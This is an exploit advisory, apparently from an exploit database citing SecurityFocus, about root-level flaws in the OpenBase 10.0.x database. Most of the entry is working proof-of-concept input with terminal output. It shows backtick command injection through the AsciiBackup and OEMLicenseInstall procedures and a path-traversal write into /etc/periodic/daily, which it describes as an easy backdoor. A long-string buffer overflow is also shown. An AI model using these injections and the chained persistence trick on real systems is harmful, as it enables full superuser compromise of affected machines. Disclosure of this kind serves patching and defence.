OpenBase 10.0.x - Remote Buffer Overflow / Remote Command Execution

source: https://www.securityfocus.com/bid/26347/info

OpenBase is prone to a buffer-overflow vulnerability and multiple remote command-execution vulnerabilities.

An attacker could exploit these issues to execute arbitrary code or commands with superuser privileges. Successfully exploiting these issues will facilitate in the complete compromise of affected computers. 

1. call AsciiBackup('\`id\`')
results in commands being run as root.

desktop:/tmp kfinisterre$ tail -f /tmp/isql_messages

OpenBase ISQL version 8.0 for MacOS X
Copyright (c) 1993-2003 OpenBase International. Ltd.
All Rights Reserved.

Using database 'WOMovies' on host 'localhost'

Could not write file:uid=0(root) gid=0(wheel) groups=0(wheel)/WOMovies.bck

2. call GlobalLog("../../../path/to/file", "\n user input goes here \n")
results in root owned files being created. Combine with above for an
easy backdoor.

openbase 1> call GlobalLog("../../../../../../etc/periodic/daily/600"
, "\n/usr/bin/id > /tmp/file\n")
openbase 2> go
Data returned... calculating column widths

return_0
- ----------
Success
- ----------
1 rows returned - 0.039 seconds (printed in 0.039 seconds)
openbase 1>  call AsciiBackup('`chmod +x /etc/periodic/daily/600.msg;
/usr/sbin/periodic daily`')
openbase 2> go
Data returned... calculating column widths

return_0
- ----------
Failure
- ----------
1 rows returned - 1.825 seconds (printed in 1.826 seconds)
openbase 1>

3. select aaaaaaaaaaaaaaaaaaaa... from aaaaaaaaaaaaaaaaaaa...
results in zone_free() issues referencing 0x61616161

4. call OEMLicenseInstall("`/usr/bin/id>/tmp/aaax`","`/usr/bin/id>/tmp/bbbx
`","`/usr/bin/id>/tmp/ddddx`","`/usr/bin/id>/tmp/cdfx`")
results in commands being run as root